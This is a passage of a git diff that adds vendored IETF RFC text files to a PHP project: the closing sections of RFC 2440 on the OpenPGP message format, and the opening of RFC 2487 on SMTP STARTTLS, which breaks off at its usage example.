Elliptic Curve + 19 - Reserved for ECDSA + 20 - Elgamal (Encrypt or Sign) + + + + + + 21 - Reserved for Diffie-Hellman (X9.42, + as defined for IETF-S/MIME) + 100 to 110 - Private/Experimental algorithm. + + Implementations MUST implement DSA for signatures, and Elgamal for + encryption. Implementations SHOULD implement RSA keys. + Implementations MAY implement any other algorithm. + +9.2. Symmetric Key Algorithms + + ID Algorithm + -- --------- + 0 - Plaintext or unencrypted data + 1 - IDEA [IDEA] + 2 - Triple-DES (DES-EDE, as per spec - + 168 bit key derived from 192) + 3 - CAST5 (128 bit key, as per RFC 2144) + 4 - Blowfish (128 bit key, 16 rounds) [BLOWFISH] + 5 - SAFER-SK128 (13 rounds) [SAFER] + 6 - Reserved for DES/SK + 7 - Reserved for AES with 128-bit key + + + +Callas, et. al. Standards Track [Page 49] + +RFC 2440 OpenPGP Message Format November 1998 + + + 8 - Reserved for AES with 192-bit key + 9 - Reserved for AES with 256-bit key + 100 to 110 - Private/Experimental algorithm. + + Implementations MUST implement Triple-DES. Implementations SHOULD + implement IDEA and CAST5.Implementations MAY implement any other + algorithm. + +9.3. Compression Algorithms + + ID Algorithm + -- --------- + 0 - Uncompressed + 1 - ZIP (RFC 1951) + 2 - ZLIB (RFC 1950) + 100 to 110 - Private/Experimental algorithm. + + Implementations MUST implement uncompressed data. Implementations + SHOULD implement ZIP. Implementations MAY implement ZLIB. + +9.4. Hash Algorithms + + ID Algorithm Text Name + -- --------- ---- ---- + 1 - MD5 "MD5" + 2 - SHA-1 "SHA1" + 3 - RIPE-MD/160 "RIPEMD160" + 4 - Reserved for double-width SHA (experimental) + 5 - MD2 "MD2" + 6 - Reserved for TIGER/192 "TIGER192" + 7 - Reserved for HAVAL (5 pass, 160-bit) + "HAVAL-5-160" + 100 to 110 - Private/Experimental algorithm. + + Implementations MUST implement SHA-1. Implementations SHOULD + implement MD5. + +10. Packet Composition + + OpenPGP packets are assembled into sequences in order to create + messages and to transfer keys. Not all possible packet sequences are + meaningful and correct. This describes the rules for how packets + should be placed into sequences. + +10.1. Transferable Public Keys + + OpenPGP users may transfer public keys. The essential elements of a + transferable public key are: + + + +Callas, et. al. Standards Track [Page 50] + +RFC 2440 OpenPGP Message Format November 1998 + + + - One Public Key packet + + - Zero or more revocation signatures + + - One or more User ID packets + + - After each User ID packet, zero or more signature packets + (certifications) + + - Zero or more Subkey packets + + - After each Subkey packet, one signature packet, optionally a + revocation. + + The Public Key packet occurs first. Each of the following User ID + packets provides the identity of the owner of this public key. If + there are multiple User ID packets, this corresponds to multiple + means of identifying the same unique individual user; for example, a + user may have more than one email address, and construct a User ID + for each one. + + Immediately following each User ID packet, there are zero or more + signature packets. Each signature packet is calculated on the + immediately preceding User ID packet and the initial Public Key + packet. The signature serves to certify the corresponding public key + and user ID. In effect, the signer is testifying to his or her + belief that this public key belongs to the user identified by this + user ID. + + After the User ID packets there may be one or more Subkey packets. + In general, subkeys are provided in cases where the top-level public + key is a signature-only key. However, any V4 key may have subkeys, + and the subkeys may be encryption-only keys, signature-only keys, or + general-purpose keys. + + Each Subkey packet must be followed by one Signature packet, which + should be a subkey binding signature issued by the top level key. + + Subkey and Key packets may each be followed by a revocation Signature + packet to indicate that the key is revoked. Revocation signatures + are only accepted if they are issued by the key itself, or by a key + that is authorized to issue revocations via a revocation key + subpacket in a self-signature by the top level key. + + Transferable public key packet sequences may be concatenated to allow + transferring multiple public keys in one operation. + + + + + +Callas, et. al. Standards Track [Page 51] + +RFC 2440 OpenPGP Message Format November 1998 + + +10.2. OpenPGP Messages + + An OpenPGP message is a packet or sequence of packets that + corresponds to the following grammatical rules (comma represents + sequential composition, and vertical bar separates alternatives): + + OpenPGP Message :- Encrypted Message | Signed Message | + Compressed Message | Literal Message. + + Compressed Message :- Compressed Data Packet. + + Literal Message :- Literal Data Packet. + + ESK :- Public Key Encrypted Session Key Packet | + Symmetric-Key Encrypted Session Key Packet. + + ESK Sequence :- ESK | ESK Sequence, ESK. + + Encrypted Message :- Symmetrically Encrypted Data Packet | + ESK Sequence, Symmetrically Encrypted Data Packet. + + One-Pass Signed Message :- One-Pass Signature Packet, + OpenPGP Message, Corresponding Signature Packet. + + Signed Message :- Signature Packet, OpenPGP Message | + One-Pass Signed Message. + + In addition, decrypting a Symmetrically Encrypted Data packet and + + decompressing a Compressed Data packet must yield a valid OpenPGP + Message. + +10.3. Detached Signatures + + Some OpenPGP applications use so-called "detached signatures." For + example, a program bundle may contain a file, and with it a second + file that is a detached signature of the first file. These detached + signatures are simply a signature packet stored separately from the + data that they are a signature of. + +11. Enhanced Key Formats + +11.1. Key Structures + + The format of an OpenPGP V3 key is as follows. Entries in square + brackets are optional and ellipses indicate repetition. + + + + + +Callas, et. al. Standards Track [Page 52] + +RFC 2440 OpenPGP Message Format November 1998 + + + RSA Public Key + [Revocation Self Signature] + User ID [Signature ...] + [User ID [Signature ...] ...] + + Each signature certifies the RSA public key and the preceding user + ID. The RSA public key can have many user IDs and each user ID can + have many signatures. + + The format of an OpenPGP V4 key that uses two public keys is similar + except that the other keys are added to the end as 'subkeys' of the + primary key. + + Primary-Key + [Revocation Self Signature] + [Direct Key Self Signature...] + User ID [Signature ...] + [User ID [Signature ...] ...] + [[Subkey [Binding-Signature-Revocation] + Primary-Key-Binding-Signature] ...] + + A subkey always has a single signature after it that is issued using + the primary key to tie the two keys together. This binding signature + may be in either V3 or V4 format, but V4 is preferred, of course. + + In the above diagram, if the binding signature of a subkey has been + revoked, the revoked binding signature may be removed, leaving only + one signature. + + In a key that has a main key and subkeys, the primary key MUST be a + key capable of signing. The subkeys may be keys of any other type. + There may be other constructions of V4 keys, too. For example, there + may be a single-key RSA key in V4 format, a DSA primary key with an + RSA encryption key, or RSA primary key with an Elgamal subkey, etc. + + It is also possible to have a signature-only subkey. This permits a + primary key that collects certifications (key signatures) but is used + only used for certifying subkeys that are used for encryption and + signatures. + +11.2. Key IDs and Fingerprints + + For a V3 key, the eight-octet key ID consists of the low 64 bits of + the public modulus of the RSA key. + + The fingerprint of a V3 key is formed by hashing the body (but not + the two-octet length) of the MPIs that form the key material (public + modulus n, followed by exponent e) with MD5. + + + +Callas, et. al. Standards Track [Page 53] + +RFC 2440 OpenPGP Message Format November 1998 + + + A V4 fingerprint is the 160-bit SHA-1 hash of the one-octet Packet + Tag, followed by the two-octet packet length, followed by the entire + Public Key packet starting with the version field. The key ID is the + low order 64 bits of the fingerprint. Here are the fields of the + hash material, with the example of a DSA key: + + a.1) 0x99 (1 octet) + + a.2) high order length octet of (b)-(f) (1 octet) + + a.3) low order length octet of (b)-(f) (1 octet) + + b) version number = 4 (1 octet); + + c) time stamp of key creation (4 octets); + + d) algorithm (1 octet): 17 = DSA (example); + + e) Algorithm specific fields. + + Algorithm Specific Fields for DSA keys (example): + + e.1) MPI of DSA prime p; + + e.2) MPI of DSA group order q (q is a prime divisor of p-1); + + e.3) MPI of DSA group generator g; + + e.4) MPI of DSA public key value y (= g**x where x is secret). + + Note that it is possible for there to be collisions of key IDs -- two + different keys with the same key ID. Note that there is a much + smaller, but still non-zero probability that two different keys have + the same fingerprint. + + Also note that if V3 and V4 format keys share the same RSA key + material, they will have different key ids as well as different + fingerprints. + +12. Notes on Algorithms + +12.1. Symmetric Algorithm Preferences + + The symmetric algorithm preference is an ordered list of algorithms + that the keyholder accepts. Since it is found on a self-signature, it + is possible that a keyholder may have different preferences. For + example, Alice may have TripleDES only specified for "alice@work.com" + but CAST5, Blowfish, and TripleDES specified for "alice@home.org". + + + +Callas, et. al. Standards Track [Page 54] + +RFC 2440 OpenPGP Message Format November 1998 + + + Note that it is also possible for preferences to be in a subkey's + binding signature. + + Since TripleDES is the MUST-implement algorithm, if it is not + explicitly in the list, it is tacitly at the end. However, it is good + form to place it there explicitly. Note also that if an + implementation does not implement the preference, then it is + implicitly a TripleDES-only implementation. + + An implementation MUST not use a symmetric algorithm that is not in + the recipient's preference list. When encrypting to more than one + recipient, the implementation finds a suitable algorithm by taking + the intersection of the preferences of the recipients. Note that the + MUST-implement algorithm, TripleDES, ensures that the intersection is + not null. The implementation may use any mechanism to pick an + algorithm in the intersection. + + If an implementation can decrypt a message that a keyholder doesn't + have in their preferences, the implementation SHOULD decrypt the + message anyway, but MUST warn the keyholder than protocol has been + violated. (For example, suppose that Alice, above, has software that + implements all algorithms in this specification. Nonetheless, she + prefers subsets for work or home. If she is sent a message encrypted + with IDEA, which is not in her preferences, the software warns her + that someone sent her an IDEA-encrypted message, but it would ideally + decrypt it anyway.) + + An implementation that is striving for backward compatibility MAY + consider a V3 key with a V3 self-signature to be an implicit + preference for IDEA, and no ability to do TripleDES. This is + technically non-compliant, but an implementation MAY violate the + above rule in this case only and use IDEA to encrypt the message, + provided that the message creator is warned. Ideally, though, the + implementation would follow the rule by actually generating two + messages, because it is possible that the OpenPGP user's + implementation does not have IDEA, and thus could not read the + message. Consequently, an implementation MAY, but SHOULD NOT use IDEA + in an algorithm conflict with a V3 key. + +12.2. Other Algorithm Preferences + + Other algorithm preferences work similarly to the symmetric algorithm + preference, in that they specify which algorithms the keyholder + accepts. There are two interesting cases that other comments need to + be made about, though, the compression preferences and the hash + preferences. + + + + + +Callas, et. al. Standards Track [Page 55] + +RFC 2440 OpenPGP Message Format November 1998 + + +12.2.1. Compression Preferences + + Compression has been an integral part of PGP since its first days. + OpenPGP and all previous versions of PGP have offered compression. + And in this specification, the default is for messages to be + compressed, although an implementation is not required to do so. + Consequently, the compression preference gives a way for a keyholder + to request that messages not be compressed, presumably because they + are using a minimal implementation that does not include compression. + Additionally, this gives a keyholder a way to state that it can + support alternate algorithms. + + Like the algorithm preferences, an implementation MUST NOT use an + algorithm that is not in the preference vector. If the preferences + are not present, then they are assumed to be [ZIP(1), + UNCOMPRESSED(0)]. + +12.2.2. Hash Algorithm Preferences + + Typically, the choice of a hash algorithm is something the signer + does, rather than the verifier, because a signer does not typically + know who is going to be verifying the signature. This preference, + though, allows a protocol based upon digital signatures ease in + negotiation. + + Thus, if Alice is authenticating herself to Bob with a signature, it + makes sense for her to use a hash algorithm that Bob's software uses. + This preference allows Bob to state in his key which algorithms Alice + may use. + +12.3. Plaintext + + Algorithm 0, "plaintext", may only be used to denote secret keys that + are stored in the clear. Implementations must not use plaintext in + Symmetrically Encrypted Data Packets; they must use Literal Data + Packets to encode unencrypted or literal data. + +12.4. RSA + + There are algorithm types for RSA-signature-only, and RSA-encrypt- + only keys. These types are deprecated. The "key flags" subpacket in a + signature is a much better way to express the same idea, and + generalizes it to all algorithms. An implementation SHOULD NOT create + such a key, but MAY interpret it. + + An implementation SHOULD NOT implement RSA keys of size less than 768 + bits. + + + + +Callas, et. al. Standards Track [Page 56] + +RFC 2440 OpenPGP Message Format November 1998 + + + It is permissible for an implementation to support RSA merely for + backward compatibility; for example, such an implementation would + support V3 keys with IDEA symmetric cryptography. Note that this is + an exception to the other MUST-implement rules. An implementation + that supports RSA in V4 keys MUST implement the MUST-implement + features. + +12.5. Elgamal + + If an Elgamal key is to be used for both signing and encryption, + extra care must be taken in creating the key. + + An ElGamal key consists of a generator g, a prime modulus p, a secret + exponent x, and a public value y = g^x mod p. + + The generator and prime must be chosen so that solving the discrete + log problem is intractable. The group g should generate the + multiplicative group mod p-1 or a large subgroup of it, and the order + of g should have at least one large prime factor. A good choice is + to use a "strong" Sophie-Germain prime in choosing p, so that both p + and (p-1)/2 are primes. In fact, this choice is so good that + implementors SHOULD do it, as it avoids a small subgroup attack. + + In addition, a result of Bleichenbacher [BLEICHENBACHER] shows that + if the generator g has only small prime factors, and if g divides the + order of the group it generates, then signatures can be forged. In + particular, choosing g=2 is a bad choice if the group order may be + even. On the other hand, a generator of 2 is a fine choice for an + encryption-only key, as this will make the encryption faster. + + While verifying Elgamal signatures, note that it is important to test + that r and s are less than p. If this test is not done then + signatures can be trivially forged by using large r values of + approximately twice the length of p. This attack is also discussed + in the Bleichenbacher paper. + + Details on safe use of Elgamal signatures may be found in [MENEZES], + which discusses all the weaknesses described above. + + If an implementation allows Elgamal signatures, then it MUST use the + algorithm identifier 20 for an Elgamal public key that can sign. + + An implementation SHOULD NOT implement Elgamal keys of size less than + 768 bits. For long-term security, Elgamal keys should be 1024 bits or + longer. + + + + + + +Callas, et. al. Standards Track [Page 57] + +RFC 2440 OpenPGP Message Format November 1998 + + +12.6. DSA + + An implementation SHOULD NOT implement DSA keys of size less than 768 + bits. Note that present DSA is limited to a maximum of 1024 bit keys, + which are recommended for long-term use. + +12.7. Reserved Algorithm Numbers + + A number of algorithm IDs have been reserved for algorithms that + would be useful to use in an OpenPGP implementation, yet there are + issues that prevent an implementor from actually implementing the + algorithm. These are marked in the Public Algorithms section as + "(reserved for)". + + The reserved public key algorithms, Elliptic Curve (18), ECDSA (19), + and X9.42 (21) do not have the necessary parameters, parameter order, + or semantics defined. + + The reserved symmetric key algorithm, DES/SK (6), does not have + semantics defined. + + The reserved hash algorithms, TIGER192 (6), and HAVAL-5-160 (7), do + not have OIDs. The reserved algorithm number 4, reserved for a + double-width variant of SHA1, is not presently defined. + + We have reserver three algorithm IDs for the US NIST's Advanced + Encryption Standard. This algorithm will work with (at least) 128, + 192, and 256-bit keys. We expect that this algorithm will be selected + from the candidate algorithms in the year 2000. + +12.8. OpenPGP CFB mode + + OpenPGP does symmetric encryption using a variant of Cipher Feedback + Mode (CFB mode). This section describes the procedure it uses in + detail. This mode is what is used for Symmetrically Encrypted Data + Packets; the mechanism used for encrypting secret key material is + similar, but described in those sections above. + + OpenPGP CFB mode uses an initialization vector (IV) of all zeros, and + prefixes the plaintext with ten octets of random data, such that + octets 9 and 10 match octets 7 and 8. It does a CFB "resync" after + encrypting those ten octets. + + Note that for an algorithm that has a larger block size than 64 bits, + the equivalent function will be done with that entire block. For + example, a 16-octet block algorithm would operate on 16 octets, and + then produce two octets of check, and then work on 16-octet blocks. + + + + +Callas, et. al. Standards Track [Page 58] + +RFC 2440 OpenPGP Message Format November 1998 + + + Step by step, here is the procedure: + + 1. The feedback register (FR) is set to the IV, which is all zeros. + + 2. FR is encrypted to produce FRE (FR Encrypted). This is the + encryption of an all-zero value. + + 3. FRE is xored with the first 8 octets of random data prefixed to + the plaintext to produce C1-C8, the first 8 octets of ciphertext. + + 4. FR is loaded with C1-C8. + + 5. FR is encrypted to produce FRE, the encryption of the first 8 + octets of ciphertext. + + 6. The left two octets of FRE get xored with the next two octets of + data that were prefixed to the plaintext. This produces C9-C10, + the next two octets of ciphertext. + + 7. (The resync step) FR is loaded with C3-C10. + + 8. FR is encrypted to produce FRE. + + 9. FRE is xored with the first 8 octets of the given plaintext, now + that we have finished encrypting the 10 octets of prefixed data. + This produces C11-C18, the next 8 octets of ciphertext. + + 10. FR is loaded with C11-C18 + + 11. FR is encrypted to produce FRE. + + 12. FRE is xored with the next 8 octets of plaintext, to produce the + next 8 octets of ciphertext. These are loaded into FR and the + process is repeated until the plaintext is used up. + +13. Security Considerations + + As with any technology involving cryptography, you should check the + current literature to determine if any algorithms used here have been + found to be vulnerable to attack. + + This specification uses Public Key Cryptography technologies. + Possession of the private key portion of a public-private key pair is + assumed to be controlled by the proper party or parties. + + Certain operations in this specification involve the use of random + numbers. An appropriate entropy source should be used to generate + these numbers. See RFC 1750. + + + +Callas, et. al. Standards Track [Page 59] + +RFC 2440 OpenPGP Message Format November 1998 + + + The MD5 hash algorithm has been found to have weaknesses (pseudo- + collisions in the compress function) that make some people deprecate + its use. They consider the SHA-1 algorithm better. + + Many security protocol designers think that it is a bad idea to use a + single key for both privacy (encryption) and integrity (signatures). + In fact, this was one of the motivating forces behind the V4 key + format with separate signature and encryption keys. If you as an + implementor promote dual-use keys, you should at least be aware of + this controversy. + + The DSA algorithm will work with any 160-bit hash, but it is + sensitive to the quality of the hash algorithm, if the hash algorithm + is broken, it can leak the secret key. The Digital Signature Standard + (DSS) specifies that DSA be used with SHA-1. RIPEMD-160 is + considered by many cryptographers to be as strong. An implementation + should take care which hash algorithms are used with DSA, as a weak + hash can not only allow a signature to be forged, but could leak the + secret key. These same considerations about the quality of the hash + algorithm apply to Elgamal signatures. + + If you are building an authentication system, the recipient may + specify a preferred signing algorithm. However, the signer would be + foolish to use a weak algorithm simply because the recipient requests + it. + + Some of the encryption algorithms mentioned in this document have + been analyzed less than others. For example, although CAST5 is + presently considered strong, it has been analyzed less than Triple- + DES. Other algorithms may have other controversies surrounding them. + + Some technologies mentioned here may be subject to government control + in some countries. + +14. Implementation Nits + + This section is a collection of comments to help an implementer, + particularly with an eye to backward compatibility. Previous + implementations of PGP are not OpenPGP-compliant. Often the + differences are small, but small differences are frequently more + vexing than large differences. Thus, this list of potential problems + and gotchas for a developer who is trying to be backward-compatible. + + * PGP 5.x does not accept V4 signatures for anything other than + key material. + + * PGP 5.x does not recognize the "five-octet" lengths in new-format + headers or in signature subpacket lengths. + + + +Callas, et. al. Standards Track [Page 60] + +RFC 2440 OpenPGP Message Format November 1998 + + + * PGP 5.0 rejects an encrypted session key if the keylength differs + from the S2K symmetric algorithm. This is a bug in its validation + function. + + * PGP 5.0 does not handle multiple one-pass signature headers and + trailers. Signing one will compress the one-pass signed literal + and prefix a V3 signature instead of doing a nested one-pass + signature. + + * When exporting a private key, PGP 2.x generates the header "BEGIN + PGP SECRET KEY BLOCK" instead of "BEGIN PGP PRIVATE KEY BLOCK". + All previous versions ignore the implied data type, and look + directly at the packet data type. + + * In a clear-signed signature, PGP 5.0 will figure out the correct + hash algorithm if there is no "Hash:" header, but it will reject + a mismatch between the header and the actual algorithm used. The + "standard" (i.e. Zimmermann/Finney/et al.) version of PGP 2.x + rejects the "Hash:" header and assumes MD5. There are a number of + enhanced variants of PGP 2.6.x that have been modified for SHA-1 + signatures. + + * PGP 5.0 can read an RSA key in V4 format, but can only recognize + it with a V3 keyid, and can properly use only a V3 format RSA + key. + + * Neither PGP 5.x nor PGP 6.0 recognize Elgamal Encrypt and Sign + keys. They only handle Elgamal Encrypt-only keys. + + * There are many ways possible for two keys to have the same key + material, but different fingerprints (and thus key ids). Perhaps + the most interesting is an RSA key that has been "upgraded" to V4 + format, but since a V4 fingerprint is constructed by hashing the + key creation time along with other things, two V4 keys created at + different times, yet with the same key material will have + different fingerprints. + + * If an implementation is using zlib to interoperate with PGP 2.x, + then the "windowBits" parameter should be set to -13. + + + + + + + + + + + + +Callas, et. al. Standards Track [Page 61] + +RFC 2440 OpenPGP Message Format November 1998 + + +15. Authors and Working Group Chair + + The working group can be contacted via the current chair: + + John W. Noerenberg, II + Qualcomm, Inc + 6455 Lusk Blvd + San Diego, CA 92131 USA + + Phone: +1 619-658-3510 + EMail: jwn2@qualcomm.com + + + The principal authors of this memo are: + + Jon Callas + Network Associates, Inc. + 3965 Freedom Circle + Santa Clara, CA 95054, USA + + Phone: +1 408-346-5860 + EMail: jon@pgp.com, jcallas@nai.com + + + Lutz Donnerhacke + IKS GmbH + Wildenbruchstr. 15 + 07745 Jena, Germany + + Phone: +49-3641-675642 + EMail: lutz@iks-jena.de + + + Hal Finney + Network Associates, Inc. + 3965 Freedom Circle + Santa Clara, CA 95054, USA + + EMail: hal@pgp.com + + + Rodney Thayer + EIS Corporation + Clearwater, FL 33767, USA + + EMail: rodney@unitran.com + + + + + +Callas, et. al. Standards Track [Page 62] + +RFC 2440 OpenPGP Message Format November 1998 + + + This memo also draws on much previous work from a number of other + authors who include: Derek Atkins, Charles Breed, Dave Del Torto, + Marc Dyksterhouse, Gail Haspert, Gene Hoffman, Paul Hoffman, Raph + Levien, Colin Plumb, Will Price, William Stallings, Mark Weaver, and + Philip R. Zimmermann. + +16. References + + [BLEICHENBACHER] Bleichenbacher, Daniel, "Generating ElGamal + signatures without knowing the secret key," + Eurocrypt 96. Note that the version in the + proceedings has an error. A revised version is + available at the time of writing from + + + [BLOWFISH] Schneier, B. "Description of a New Variable-Length + Key, 64-Bit Block Cipher (Blowfish)" Fast Software + Encryption, Cambridge Security Workshop Proceedings + (December 1993), Springer-Verlag, 1994, pp191-204 + + + + [DONNERHACKE] Donnerhacke, L., et. al, "PGP263in - an improved + international version of PGP", ftp://ftp.iks- + jena.de/mitarb/lutz/crypt/software/pgp/ + + [ELGAMAL] T. ElGamal, "A Public-Key Cryptosystem and a + Signature Scheme Based on Discrete Logarithms," IEEE + Transactions on Information Theory, v. IT-31, n. 4, + 1985, pp. 469-472. + + [IDEA] Lai, X, "On the design and security of block + ciphers", ETH Series in Information Processing, J.L. + Massey (editor), Vol. 1, Hartung-Gorre Verlag + Knostanz, Technische Hochschule (Zurich), 1992 + + [ISO-10646] ISO/IEC 10646-1:1993. International Standard -- + Information technology -- Universal Multiple-Octet + Coded Character Set (UCS) -- Part 1: Architecture + and Basic Multilingual Plane. UTF-8 is described in + Annex R, adopted but not yet published. UTF-16 is + described in Annex Q, adopted but not yet published. + + [MENEZES] Alfred Menezes, Paul van Oorschot, and Scott + Vanstone, "Handbook of Applied Cryptography," CRC + Press, 1996. + + + + +Callas, et. al. Standards Track [Page 63] + +RFC 2440 OpenPGP Message Format November 1998 + + + [RFC822] Crocker, D., "Standard for the format of ARPA + Internet text messages", STD 11, RFC 822, August + 1982. + + [RFC1423] Balenson, D., "Privacy Enhancement for Internet + Electronic Mail: Part III: Algorithms, Modes, and + Identifiers", RFC 1423, October 1993. + + [RFC1641] Goldsmith, D. and M. Davis, "Using Unicode with + MIME", RFC 1641, July 1994. + + [RFC1750] Eastlake, D., Crocker, S. and J. Schiller, + "Randomness Recommendations for Security", RFC 1750, + December 1994. + + [RFC1951] Deutsch, P., "DEFLATE Compressed Data Format + Specification version 1.3.", RFC 1951, May 1996. + + [RFC1983] Malkin, G., "Internet Users' Glossary", FYI 18, RFC + 1983, August 1996. + + [RFC1991] Atkins, D., Stallings, W. and P. Zimmermann, "PGP + Message Exchange Formats", RFC 1991, August 1996. + + [RFC2015] Elkins, M., "MIME Security with Pretty Good Privacy + (PGP)", RFC 2015, October 1996. + + [RFC2231] Borenstein, N. and N. Freed, "Multipurpose Internet + Mail Extensions (MIME) Part One: Format of Internet + Message Bodies.", RFC 2231, November 1996. + + [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Level", BCP 14, RFC 2119, March 1997. + + [RFC2144] Adams, C., "The CAST-128 Encryption Algorithm", RFC + 2144, May 1997. + + [RFC2279] Yergeau., F., "UTF-8, a transformation format of + Unicode and ISO 10646", RFC 2279, January 1998. + + [RFC2313] Kaliski, B., "PKCS #1: RSA Encryption Standard + version 1.5", RFC 2313, March 1998. + + [SAFER] Massey, J.L. "SAFER K-64: One Year Later", B. + Preneel, editor, Fast Software Encryption, Second + International Workshop (LNCS 1008) pp212-241, + Springer-Verlag 1995 + + + + +Callas, et. al. Standards Track [Page 64] + +RFC 2440 OpenPGP Message Format November 1998 + + +17. Full Copyright Statement + + Copyright (C) The Internet Society (1998). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Callas, et. al. Standards Track [Page 65] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2487.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2487.txt new file mode 100644 index 00000000..fb1305f0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2487.txt @@ -0,0 +1,451 @@ + + + + + + +Network Working Group P. Hoffman +Request for Comments: 2487 Internet Mail Consortium +Category: Standards Track January 1999 + + + SMTP Service Extension for Secure SMTP over TLS + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1999). All Rights Reserved. + +1. Abstract + + This document describes an extension to the SMTP service that allows + an SMTP server and client to use transport-layer security to provide + private, authenticated communication over the Internet. This gives + SMTP agents the ability to protect some or all of their + communications from eavesdroppers and attackers. + +2. Introduction + + SMTP [RFC-821] servers and clients normally communicate in the clear + over the Internet. In many cases, this communication goes through one + or more router that is not controlled or trusted by either entity. + Such an untrusted router might allow a third party to monitor or + alter the communications between the server and client. + + Further, there is often a desire for two SMTP agents to be able to + authenticate each others' identities. For example, a secure SMTP + server might only allow communications from other SMTP agents it + knows, or it might act differently for messages received from an + agent it knows than from one it doesn't know. + + TLS [TLS], more commonly known as SSL, is a popular mechanism for + enhancing TCP communications with privacy and authentication. TLS is + in wide use with the HTTP protocol, and is also being used for adding + security to many other common protocols that run over TCP. + + + + + + +Hoffman Standards Track [Page 1] + +RFC 2487 SMTP Service Extension January 1999 + + +2.1 Terminology + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [RFC-2119]. + +3. STARTTLS Extension + + The STARTTLS extension to SMTP is laid out as follows: + + (1) the name of the SMTP service defined here is STARTTLS; + + (2) the EHLO keyword value associated with the extension is STARTTLS; + + (3) the STARTTLS keyword has no parameters; + + (4) a new SMTP verb, "STARTTLS", is defined; + + (5) no additional parameters are added to any SMTP command. + +4. The STARTTLS Keyword + + The STARTTLS keyword is used to tell the SMTP client that the SMTP + server allows use of TLS. It takes no parameters. + +5. The STARTTLS Command + + The format for the STARTTLS command is: + + STARTTLS + + with no parameters. + + After the client gives the STARTTLS command, the server responds with + one of the following reply codes: + + 220 Ready to start TLS + 501 Syntax error (no parameters allowed) + 454 TLS not available due to temporary reason + + A publicly-referenced SMTP server MUST NOT require use of the + STARTTLS extension in order to deliver mail locally. This rule + prevents the STARTTLS extension from damaging the interoperability of + the Internet's SMTP infrastructure. A publicly-referenced SMTP server + is an SMTP server which runs on port 25 of an Internet host listed in + the MX record (or A record if an MX record is not present) for the + domain name on the right hand side of an Internet mail address. + + + + +Hoffman Standards Track [Page 2] + +RFC 2487 SMTP Service Extension January 1999 + + + Any SMTP server may refuse to accept messages for relay based on + authentication supplied during the TLS negotiation. An SMTP server + that is not publicly referenced may refuse to accept any messages for + relay or local delivery based on authentication supplied during the + TLS negotiation. + + A SMTP server that is not publicly referenced may choose to require + that the client perform a TLS negotiation before accepting any + commands. In this case, the server SHOULD return the reply code: + + 530 Must issue a STARTTLS command first + + to every command other than NOOP, EHLO, STARTTLS, or QUIT. If the + client and server are using the ENHANCEDSTATUSCODES ESMTP extension + [RFC-2034], the status code to be returned SHOULD be 5.7.0. + + After receiving a 220 response to a STARTTLS command, the client + SHOULD start the TLS negotiation before giving any other SMTP + commands. + + If the SMTP client is using pipelining as defined in RFC 1854, the + STARTTLS command must be the last command in a group. + +5.1 Processing After the STARTTLS Command + + After the TLS handshake has been completed, both parties MUST + immediately decide whether or not to continue based on the + authentication and privacy achieved. The SMTP client and server may + decide to move ahead even if the TLS negotiation ended with no + authentication and/or no privacy because most SMTP services are + performed with no authentication and no privacy, but some SMTP + clients or servers may want to continue only if a particular level of + authentication and/or privacy was achieved. + + If the SMTP client decides that the level of authentication or + privacy is not high enough for it to continue, it SHOULD issue an + SMTP QUIT command immediately after the TLS negotiation is complete. + If the SMTP server decides that the level of authentication or + privacy is not high enough for it to continue, it SHOULD reply to + every SMTP command from the client (other than a QUIT command) with + the 554 reply code (with a possible text string such as "Command + refused due to lack of security"). + + The decision of whether or not to believe the authenticity of the + other party in a TLS negotiation is a local matter. However, some + general rules for the decisions are: + + + + + +Hoffman Standards Track [Page 3] + +RFC 2487 SMTP Service Extension January 1999 + + + - A SMTP client would probably only want to authenticate an SMTP + server whose server certificate has a domain name that is the + domain name that the client thought it was connecting to. + - A publicly-referenced SMTP server would probably want to accept + any certificate from an SMTP client, and would possibly want to + put distinguishing information about the certificate in the + Received header of messages that were relayed or submitted from + the client. + +5.2 Result of the STARTTLS Command + + Upon completion of the TLS handshake, the SMTP protocol is reset to + the initial state (the state in SMTP after a server issues a 220 + service ready greeting). The server MUST discard any knowledge + obtained from the client, such as the argument to the EHLO command, + which was not obtained from the TLS negotiation itself. The client + MUST discard any knowledge obtained from the server, such as the list + of SMTP service extensions, which was not obtained from the TLS + negotiation itself. The client SHOULD send an EHLO command as the + first command after a successful TLS negotiation. + + The list of SMTP service extensions returned in response to an EHLO + command received after the TLS handshake MAY be different than the + list returned before the TLS handshake. For example, an SMTP server + might not want to advertise support for a particular SASL mechanism + [SASL] unless a client has sent an appropriate client certificate + during a TLS handshake. + + Both the client and the server MUST know if there is a TLS session + active. A client MUST NOT attempt to start a TLS session if a TLS + session is already active. A server MUST NOT return the TLS extension + in response to an EHLO command received after a TLS handshake has + completed. + +6. Usage Example + + The following dialog illustrates how a client and server can start a + TLS session: + + S: + C: + S: 220 mail.imc.org SMTP service ready + C: 